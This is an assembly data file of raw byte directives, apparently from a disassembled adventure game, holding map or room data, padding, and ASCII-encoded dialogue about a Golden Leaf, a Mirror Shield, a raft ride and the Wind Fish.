db $05, $CD, $06, $CE, $07, $CD, $08, $CE
db $09, $CD, $C8, $00, $38, $C7, $11, $ED
db $82, $26, $EC, $82, $36, $EC, $82, $46
db $ED, $82, $56, $ED, $88, $62, $EB, $88
db $72, $EB, $22, $2B, $82, $23, $2C, $25
db $2D, $C2, $32, $37, $52, $33, $82, $53
db $2F, $55, $34, $C2, $35, $38, $82, $43
db $04, $33, $A0, $34, $C6, $E1, $05, $B0
db $78, $10, $48, $FB, $FE, $09, $EE, $25
db $FB, $27, $FB, $34, $FB, $35, $4F, $40
db $FB, $77, $FB, $79, $B6, $00, $CE, $01
db $CD, $02, $CE, $03, $CD, $04, $CE, $05
db $CD, $06, $CE, $07, $CD, $08, $CE, $09
db $CD, $82, $53, $C8, $C2, $65, $C8, $C2
db $42, $ED, $C2, $64, $ED, $C4, $46, $ED
db $55, $EB, $84, $60, $EB, $84, $70, $EB
db $39, $C8, $29, $EC, $FE, $09, $EE, $00
db $CE, $01, $FB, $03, $FB, $05, $CD, $06
db $CE, $07, $CD, $08, $CE, $09, $CD, $83
db $30, $C8, $C5, $15, $ED, $C3, $46, $ED
db $33, $ED, $34, $EC, $82, $26, $C8, $28
db $ED, $39, $C8, $84, $41, $EB, $C2, $51
db $EC, $83, $52, $C8, $82, $67, $C8, $69
db $EC, $70, $B7, $71, $FB, $73, $FB, $75
db $FB, $77, $FB, $79, $B6, $FE, $09, $EE
db $00, $CE, $C8, $09, $38, $83, $01, $ED
db $82, $04, $C8, $C4, $06, $ED, $C4, $17
db $C8, $C5, $08, $ED, $C2, $15, $C8, $83
db $30, $C8, $13, $EC, $24, $EC, $33, $EC
db $84, $53, $C8, $C3, $44, $EC, $82, $41
db $ED, $82, $51, $ED, $57, $ED, $70, $B7
db $71, $FB, $73, $FB, $75, $FB, $77, $FB
db $FE, $03, $04, $C4, $00, $37, $40, $31
db $C3, $50, $90, $C8, $01, $90, $C8, $02
db $90, $C2, $33, $90, $C2, $03, $87, $23
db $8A, $24, $8E, $C2, $34, $87, $52, $88
db $53, $84, $54, $8C, $62, $87, $C3, $F1
db $F5, $C2, $50, $F5, $82, $70, $F5, $16
db $08, $27, $08, $63, $08, $38, $F5, $C2
db $49, $F5, $C2, $58, $F5, $C2, $67, $0A
db $18, $44, $45, $44, $63, $44, $FE, $03
db $04, $C5, $07, $86, $C5, $08, $90, $C5
db $09, $90, $C2, $4F, $F5, $61, $F5, $C3
db $30, $F5, $32, $20, $82, $23, $F5, $C5
db $F9, $F5, $C4, $08, $F5, $46, $F5, $57
db $F5, $83, $53, $0A, $64, $0A, $12, $08
db $14, $08, $83, $72, $F5, $44, $44, $53
db $44, $55, $44, $64, $44, $54, $A0, $FE
db $03, $04, $C8, $00, $90, $89, $71, $90
db $C4, $39, $90, $C6, $01, $87, $86, $62
db $85, $C2, $03, $86, $C3, $38, $86, $68
db $8B, $61, $8A, $23, $8D, $28, $8F, $29
db $85, $47, $5C, $86, $52, $5C, $82, $24
db $84, $82, $14, $90, $82, $04, $90, $26
db $8C, $16, $87, $06, $88, $60, $F5, $83
db $07, $84, $04, $F5, $C5, $FF, $F5, $85
db $71, $F5, $C2, $39, $F5, $35, $44, $42
db $44, $FE, $03, $04, $82, $00, $84, $C5
db $30, $90, $C8, $09, $90, $C5, $28, $86
db $78, $90, $02, $8C, $C5, $F9, $F5, $71
db $90, $C4, $31, $87, $20, $85, $21, $8E
db $C3, $3F, $F5, $86, $62, $85, $61, $8A
db $68, $8B, $87, $71, $90, $85, $71, $F5
db $82, $05, $0A, $07, $8D, $08, $89, $C5
db $17, $0A, $56, $0A, $52, $08, $18, $86
db $14, $E8, $23, $08, $25, $08, $32, $E8
db $34, $5C, $36, $E8, $43, $08, $45, $08
db $54, $E8, $12, $44, $FE, $03, $03, $C8
db $00, $04, $84, $06, $3A, $07, $E0, $C5
db $FF, $F5, $05, $38, $11, $3D, $12, $48
db $13, $E0, $14, $49, $15, $34, $C5, $21
db $38, $83, $25, $0A, $26, $08, $34, $0A
db $83, $35, $08, $38, $0A, $36, $5C, $83
db $45, $0A, $46, $08, $71, $32, $88, $72
db $2C, $26, $08, $FE, $03, $04, $86, $00
db $3A, $C3, $06, $37, $86, $10, $03, $86
db $20, $03, $86, $30, $03, $86, $40, $03
db $86, $50, $03, $86, $60, $03, $C4, $17
db $0A, $C3, $F9, $F5, $23, $20, $C2, $32
db $20, $C2, $34, $20, $35, $2B, $36, $31
db $38, $0A, $C3, $45, $37, $53, $20, $56
db $0A, $C2, $58, $F5, $69, $F5, $85, $70
db $2C, $75, $31, $33, $C6, $E1, $0A, $DE
db $38, $40, $FE, $03, $0A, $C8, $00, $04
db $C3, $FF, $F5, $31, $04, $C5, $01, $51
db $82, $04, $09, $06, $03, $09, $04, $F9
db $F5, $13, $09, $14, $C4, $16, $C4, $83
db $17, $03, $18, $0A, $26, $03, $82, $27
db $09, $34, $C4, $35, $03, $36, $C5, $37
db $03, $82, $43, $03, $82, $47, $03, $49
db $09, $C2, $51, $04, $88, $52, $51, $71
db $08, $72, $38, $62, $3D, $87, $63, $2F
db $87, $73, $3A, $C2, $50, $F5, $6F, $F5
db $09, $FB, $E1, $0A, $DF, $38, $30, $FE
db $03, $0A, $FF, $F5, $01, $09, $82, $02
db $03, $C4, $09, $51, $12, $03, $13, $C4
db $14, $09, $15, $C4, $16, $03, $17, $C4
db $21, $03, $82, $22, $09, $26, $09, $27
db $03, $32, $03, $33, $C4, $35, $C4, $36
db $03, $82, $44, $03, $84, $46, $51, $85
db $50, $51, $85, $60, $2F, $65, $4E, $55
db $3D, $56, $35, $85, $70, $3A, $75, $3F
db $82, $68, $04, $84, $76, $04, $68, $F5
db $76, $F5, $00, $B7, $10, $CE, $FE, $03
db $0E, $8A, $60, $04, $8A, $70, $04, $60
db $F5, $84, $72, $F5, $C5, $00, $38, $50
db $32, $89, $51, $2C, $86, $04, $96, $86
db $14, $93, $02, $9D, $03, $9E, $12, $97
db $22, $94, $13, $98, $23, $95, $62, $C6
db $E1, $1F, $FD, $58, $50, $85, $64, $E8
db $FE, $03, $04, $8A, $00, $96, $8A, $10
db $93, $8A, $20, $0E, $8A, $30, $0E, $8A
db $40, $0E, $03, $9E, $13, $98, $23, $95
db $02, $9D, $12, $97, $22, $94, $07, $9D
db $17, $97, $27, $94, $08, $9E, $18, $98
db $28, $95, $8A, $50, $2C, $33, $9F, $37
db $9F, $43, $9A, $47, $9A, $53, $A3, $57
db $A3, $C6, $04, $0D, $C6, $06, $0D, $C8
db $05, $0C, $70, $F5, $79, $F5, $83, $14
db $AB, $83, $24, $AC, $FE, $03, $04, $8A
db $00, $96, $8A, $10, $93, $8A, $20, $0E
db $8A, $30, $0E, $8A, $40, $0E, $03, $9E
db $13, $98, $23, $95, $02, $9D, $12, $97
db $22, $94, $07, $9D, $17, $97, $27, $94
db $08, $9E, $18, $98, $28, $95, $8A, $50
db $2C, $33, $9F, $37, $9F, $43, $9A, $47
db $9A, $53, $A3, $57, $A3, $C6, $04, $0D
db $C6, $06, $0D, $C8, $05, $0C, $70, $F5
db $79, $F5, $FE, $03, $0E, $8A, $50, $2C
db $8A, $60, $04, $8A, $70, $04, $87, $00
db $96, $87, $10, $93, $86, $7F, $F5, $07
db $9D, $08, $9E, $17, $97, $18, $98, $27
db $94, $28, $95, $FE, $03, $04, $F2, $F5
db $F5, $F5, $C5, $00, $0E, $C8, $08, $0E
db $C3, $21, $0E, $C3, $27, $0E, $85, $22
db $0E, $01, $37, $11, $33, $85, $12, $2F
db $07, $38, $17, $34, $32, $2B, $36, $2D
db $42, $37, $46, $38, $52, $31, $56, $32
db $57, $2D, $82, $50, $2C, $C2, $67, $38
db $C8, $09, $37, $83, $33, $2C, $14, $D8
db $24, $D9, $34, $DA, $82, $7F, $F5, $FE
db $09, $EB, $C5, $00, $38, $50, $32, $89
db $51, $2C, $60, $3D, $70, $38, $89, $61
db $2F, $89, $71, $3A, $C4, $01, $ED, $85
db $12, $EC, $85, $22, $EC, $85, $32, $EC
db $83, $17, $C8, $FE, $09, $EB, $8A, $50
db $2C, $8A, $60, $2F, $8A, $70, $3A, $10
db $C8, $83, $21, $C8, $C3, $05, $C8, $26
db $C8, $82, $38, $C8, $07, $CD, $08, $CE
db $09, $CD, $C3, $04, $ED, $C2, $27, $ED
db $06, $ED, $20, $ED, $FE, $0A, $EB, $00
db $CE, $01, $CD, $02, $CE, $03, $CD, $04
db $CE, $05, $CD, $06, $CE, $07, $CD, $08
db $CE, $09, $CD, $83, $30, $C8, $88, $22
db $C8, $83, $45, $C8, $8A, $50, $2C, $8A
db $60, $2F, $8A, $70, $3A, $FE, $0A, $ED
db $00, $CE, $01, $CD, $02, $CE, $03, $CD
db $04, $CE, $05, $CD, $06, $CE, $07, $CD
db $08, $CE, $C8, $09, $38, $84, $10, $ED
db $20, $C8, $83, $30, $ED, $83, $40, $ED
db $33, $C8, $83, $16, $C8, $28, $C8, $50
db $2C, $51, $2D, $55, $2B, $82, $56, $2C
db $58, $2D, $60, $2F, $61, $4E, $65, $2E
db $82, $66, $2F, $68, $4E, $70, $3A, $71
db $3F, $75, $3E, $82, $76, $3A, $78, $3F
db $83, $62, $E9, $83, $72, $E9, $84, $10
db $EB, $82, $30, $EB, $82, $40, $EB, $FE
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $59, $6F, $75, $5E, $76, $65, $20, $66
db $6F, $75, $6E, $64, $20, $61, $20, $20
db $47, $6F, $6C, $64, $65, $6E, $20, $4C
db $65, $61, $66, $21, $20, $20, $20, $20
db $59, $6F, $75, $20, $63, $61, $6E, $20
db $73, $65, $65, $20, $68, $6F, $77, $20
db $6D, $61, $6E, $79, $20, $79, $6F, $75
db $20, $68, $61, $76, $65, $20, $6F, $6E
db $74, $68, $65, $20, $53, $75, $62, $2D
db $53, $63, $72, $65, $65, $6E, $2E, $FF
db $41, $74, $20, $6C, $61, $73, $74, $21
db $20, $20, $59, $6F, $75, $5E, $76, $65
db $67, $6F, $74, $20, $74, $68, $65, $20
db $66, $69, $6E, $61, $6C, $20, $20, $20
db $47, $6F, $6C, $64, $65, $6E, $20, $4C
db $65, $61, $66, $21, $20, $20, $20, $20
db $4E, $6F, $77, $20, $67, $6F, $20, $61
db $6E, $64, $20, $73, $65, $65, $20, $20
db $52, $69, $63, $68, $61, $72, $64, $20
db $61, $62, $6F, $75, $74, $20, $20, $20
db $74, $68, $61, $74, $20, $6B, $65, $79
db $2E, $2E, $2E, $FF, $59, $6F, $75, $5E
db $76, $65, $20, $67, $6F, $74, $20, $61
db $20, $20, $20, $20, $47, $75, $61, $72
db $64, $69, $61, $6E, $20, $41, $63, $6F
db $72, $6E, $21, $20, $49, $74, $20, $77
db $69, $6C, $6C, $20, $72, $65, $64, $75
db $63, $65, $20, $20, $74, $68, $65, $20
db $64, $61, $6D, $61, $67, $65, $20, $79
db $6F, $75, $20, $20, $74, $61, $6B, $65
db $20, $62, $79, $20, $68, $61, $6C, $66
db $21, $FF, $59, $6F, $75, $5E, $76, $65
db $20, $67, $6F, $74, $20, $74, $68, $65
db $20, $20, $4D, $69, $72, $72, $6F, $72
db $20, $53, $68, $69, $65, $6C, $64, $21
db $20, $20, $59, $6F, $75, $20, $63, $61
db $6E, $20, $6E, $6F, $77, $20, $74, $75
db $72, $6E, $62, $61, $63, $6B, $20, $74
db $68, $65, $20, $62, $65, $61, $6D, $73
db $20, $20, $79, $6F, $75, $20, $63, $6F
db $75, $6C, $64, $6E, $5E, $74, $20, $20
db $20, $20, $62, $6C, $6F, $63, $6B, $20
db $62, $65, $66, $6F, $72, $65, $21, $FF
db $59, $6F, $75, $5E, $76, $65, $20, $67
db $6F, $74, $20, $61, $20, $20, $20, $20
db $6D, $6F, $72, $65, $20, $50, $6F, $77
db $65, $72, $66, $75, $6C, $20, $20, $20
db $42, $72, $61, $63, $65, $6C, $65, $74
db $21, $20, $20, $4E, $6F, $77, $20, $20
db $79, $6F, $75, $20, $63, $61, $6E, $20
db $61, $6C, $6D, $6F, $73, $74, $20, $20
db $6C, $69, $66, $74, $20, $61, $20, $77
db $68, $61, $6C, $65, $21, $FF, $59, $6F
db $75, $20, $66, $6F, $75, $6E, $64, $20
db $61, $20, $20, $20, $20, $20, $53, $65
db $63, $72, $65, $74, $20, $53, $65, $61
db $73, $68, $65, $6C, $6C, $21, $49, $66
db $20, $79, $6F, $75, $20, $63, $6F, $6C
db $6C, $65, $63, $74, $20, $61, $6C, $6F
db $74, $20, $6F, $66, $20, $74, $68, $65
db $73, $65, $2C, $20, $20, $20, $73, $6F
db $6D, $65, $74, $68, $69, $6E, $67, $20
db $67, $6F, $6F, $64, $20, $20, $69, $73
db $20, $62, $6F, $75, $6E, $64, $20, $74
db $6F, $20, $20, $20, $20, $20, $68, $61
db $70, $70, $65, $6E, $21, $FF, $57, $61
db $6E, $74, $20, $74, $6F, $20, $67, $6F
db $20, $6F, $6E, $20, $61, $20, $72, $61
db $66, $74, $20, $72, $69, $64, $65, $20
db $66, $6F, $72, $20, $61, $20, $68, $75
db $6E, $64, $72, $65, $64, $20, $52, $75
db $70, $65, $65, $73, $3F, $20, $20, $20
db $20, $20, $59, $65, $73, $20, $20, $4E
db $6F, $20, $57, $61, $79, $FE, $4F, $6B
db $61, $79, $2C, $20, $74, $68, $65, $20
db $72, $61, $66, $74, $20, $20, $69, $73
db $20, $72, $65, $61, $64, $79, $20, $66
db $6F, $72, $20, $79, $6F, $75, $6F, $75
db $74, $73, $69, $64, $65, $21, $20, $20
db $45, $6E, $6A, $6F, $79, $21, $FF, $57
db $61, $74, $65, $72, $66, $61, $6C, $6C
db $20, $61, $74, $20, $74, $68, $65, $20
db $20, $20, $20, $53, $68, $72, $69, $6E
db $65, $FF, $20, $53, $6F, $75, $74, $68
db $20, $6F, $66, $20, $74, $68, $65, $20
db $20, $20, $20, $20, $20, $20, $53, $68
db $72, $69, $6E, $65, $FF, $45, $6E, $74
db $72, $61, $6E, $63, $65, $20, $74, $6F
db $20, $74, $68, $65, $20, $20, $41, $6E
db $69, $6D, $61, $6C, $20, $56, $69, $6C
db $6C, $61, $67, $65, $FF, $57, $65, $20
db $77, $65, $72, $65, $20, $62, $6F, $72
db $6E, $20, $6F, $66, $20, $6E, $69, $67
db $68, $74, $6D, $61, $72, $65, $73, $2E
db $2E, $2E, $20, $54, $6F, $74, $61, $6B
db $65, $20, $6F, $76, $65, $72, $20, $74
db $68, $69, $73, $20, $20, $77, $6F, $72
db $6C, $64, $2C, $20, $77, $65, $20, $6D
db $61, $64, $65, $20, $20, $74, $68, $65
db $20, $57, $69, $6E, $64, $20, $46, $69
db $73, $68, $20, $20, $20, $73, $6C, $65
db $65, $70, $20, $65, $6E, $64, $6C, $65
db $73, $73, $6C, $79, $21, $49, $66, $20
db $74, $68, $65, $20, $57, $69, $6E, $64
db $20, $46, $69, $73, $68, $64, $6F, $65
db $73, $6E, $5E, $74, $20, $77, $61, $6B
db $65, $20, $75, $70, $2C, $74, $68, $69
db $73, $20, $69, $73, $6C, $61, $6E, $64
db $20, $77, $69, $6C, $6C, $6E, $65, $76
db $65, $72, $20, $64, $69, $73, $61, $70
db $70, $65, $61, $72, $21, $57, $65, $20
db $77, $6F, $75, $6C, $64, $20, $68, $61
db $76, $65, $20, $20, $20, $62, $65, $65
db $6E, $20, $74, $68, $65, $20, $6D, $61
db $73, $74, $65, $72, $73, $6F, $66, $20
db $74, $68, $69, $73, $20, $70, $6C, $61
db $63, $65, $2E, $2E, $2E, $42, $75, $74
db $20, $79, $6F, $75, $20, $68, $61, $64
db $20, $74, $6F, $20, $20, $63, $6F, $6D
db $65, $20, $68, $65, $72, $65, $20, $61
db $6E, $64, $20, $20, $20, $64, $69, $73
db $72, $75, $70, $74, $20, $6F, $75, $72
db $20, $20, $20, $20, $20, $70, $6C, $61
db $6E, $73, $21, $20, $20, $48, $65, $68
db $20, $68, $65, $68, $21, $59, $6F, $75
db $20, $63, $61, $6E, $20, $6E, $65, $76
db $65, $72, $20, $20, $20, $64, $65, $66
db $65, $61, $74, $20, $75, $73, $21, $21
db $21, $20, $20, $20, $20, $4C, $65, $74
db $5E, $73, $20, $72, $75, $6D, $62, $6C
db $65, $21, $FF, $54, $68, $69, $73, $20
db $69, $73, $6C, $61, $6E, $64, $20, $69
db $73, $20, $20, $67, $6F, $69, $6E, $67
db $20, $74, $6F, $20, $64, $69, $73, $2D
db $20, $20, $20, $61, $70, $70, $65, $61
db $72, $2E, $2E, $2E, $20, $20, $4F, $75
db $72, $20, $20, $77, $6F, $72, $6C, $64
db $20, $69, $73, $20, $67, $6F, $69, $6E
db $67, $20, $20, $74, $6F, $20, $64, $69
db $73, $61, $70, $70, $65, $61, $72, $2E
db $2E, $2E, $20, $4F, $75, $72, $20, $77
db $6F, $72, $6C, $64, $2E, $2E, $2E, $20
db $20, $20, $20, $4F, $75, $72, $2E, $2E
db $2E, $20, $77, $6F, $72, $6C, $64, $2E
db $2E, $2E, $20, $FF, $57, $6F, $77, $21
db $20, $20, $23, $23, $23, $23, $23, $2C
db $20, $63, $61, $6E, $49, $20, $74, $72
db $79, $20, $74, $68, $69, $73, $3F, $21
db $20, $20, $20, $20, $57, $68, $61, $74
db $20, $64, $6F, $20, $79, $6F, $75, $20
db $73, $61, $79, $3F, $20, $20, $20, $20
db $4F, $6B, $61, $79, $20, $4E, $6F, $20
db $57, $61, $79, $FE, $43, $5E, $6D, $6F
db $6E, $21, $20, $20, $49, $20, $77, $61
db $6E, $74, $20, $20, $74, $6F, $20, $64
db $6F, $20, $69, $74, $21, $20, $43, $61
db $6E, $20, $49, $3F, $49, $74, $20, $6C
db $6F, $6F, $6B, $73, $20, $73, $6F, $20
db $66, $75, $6E, $21, $20, $20, $20, $20
db $59, $65, $73, $20, $20, $4F, $6B, $61
db $79, $FE, $59, $6F, $75, $5E, $72, $65
db $20, $67, $6F, $6F, $64, $21, $20, $20
db $20, $20, $59, $6F, $75, $5E, $72, $65
db $20, $61, $20, $70, $72, $6F, $2C, $20
db $20, $20, $61, $72, $65, $6E, $5E, $74
db $20, $79, $6F, $75, $3F, $20, $20, $20
db $20, $20, $2E, $2E, $2E, $20, $2E, $2E
db $2E, $20, $2E, $2E, $2E, $20, $2E, $2E
db $2E, $20, $57, $65, $6C, $6C, $2C, $20
db $62, $65, $61, $74, $20, $69, $74, $21
db $20, $20, $50, $72, $6F, $73, $20, $61
db $72, $65, $6E, $5E, $74, $20, $20, $20
db $20, $20, $61, $6C, $6C, $6F, $77, $65
db $64, $20, $69, $6E, $20, $68, $65, $72
db $65, $21, $FF, $47, $6F, $20, $61, $77
db $61, $79, $21, $FF, $51, $75, $69, $74
db $20, $69, $74, $21, $FF, $54, $68, $69
db $73, $20, $69, $73, $20, $6E, $6F, $74
db $20, $61, $20, $20, $20, $63, $68, $65
db $73, $74, $2E, $2E, $2E, $20, $20, $57
db $68, $61, $74, $3F, $20, $59, $6F, $75
db $20, $6B, $6E, $65, $77, $20, $74, $68
db $61, $74, $3F, $20, $20, $4F, $6B, $61
db $79, $2E, $FF, $23, $23, $23, $23, $23
db $20, $63, $68, $65, $63, $6B, $65, $64
db $20, $20, $20, $74, $68, $65, $20, $63
db $68, $65, $73, $74, $2E, $20, $20, $57
db $6F, $77, $21, $54, $68, $69, $73, $20
db $69, $73, $20, $61, $20, $6E, $69, $63
db $65, $20, $20, $63, $68, $65, $73, $74
db $21, $FF, $49, $74, $5E, $73, $20, $61
db $6C, $6C, $20, $72, $65, $61, $64, $79
db $2C, $20, $69, $74, $20, $69, $73, $21
db $20, $20, $54, $61, $6B, $65, $20, $20
db $20, $20, $63, $61, $72, $65, $2C, $20
db $61, $73, $20, $74, $68, $65, $72, $65
db $5E, $73, $6E, $6F, $74, $20, $6D, $75
db $63, $68, $20, $74, $68, $65, $72, $65
db $21, $20, $57, $68, $79, $20, $6E, $6F
db $74, $20, $74, $72, $79, $20, $61, $20
db $20, $20, $62, $69, $74, $20, $69, $6E
db $20, $6D, $79, $20, $68, $75, $74, $3F
db $FF, $48, $65, $79, $21, $20, $20, $57
db $68, $61, $74, $20, $61, $72, $65, $20
db $20, $79, $61, $20, $64, $6F, $69, $6E
db $5E, $20, $69, $6E, $20, $6D, $79, $20
db $20, $63, $68, $65, $73, $74, $3F, $21
db $20, $20, $57, $68, $65, $72, $65, $5E
db $64, $79, $6F, $75, $20, $6C, $65, $61
db $72, $6E, $20, $74, $61, $20, $64, $6F
db $20, $73, $75, $63, $68, $20, $61, $20
db $74, $68, $69, $6E, $67, $3F, $21, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
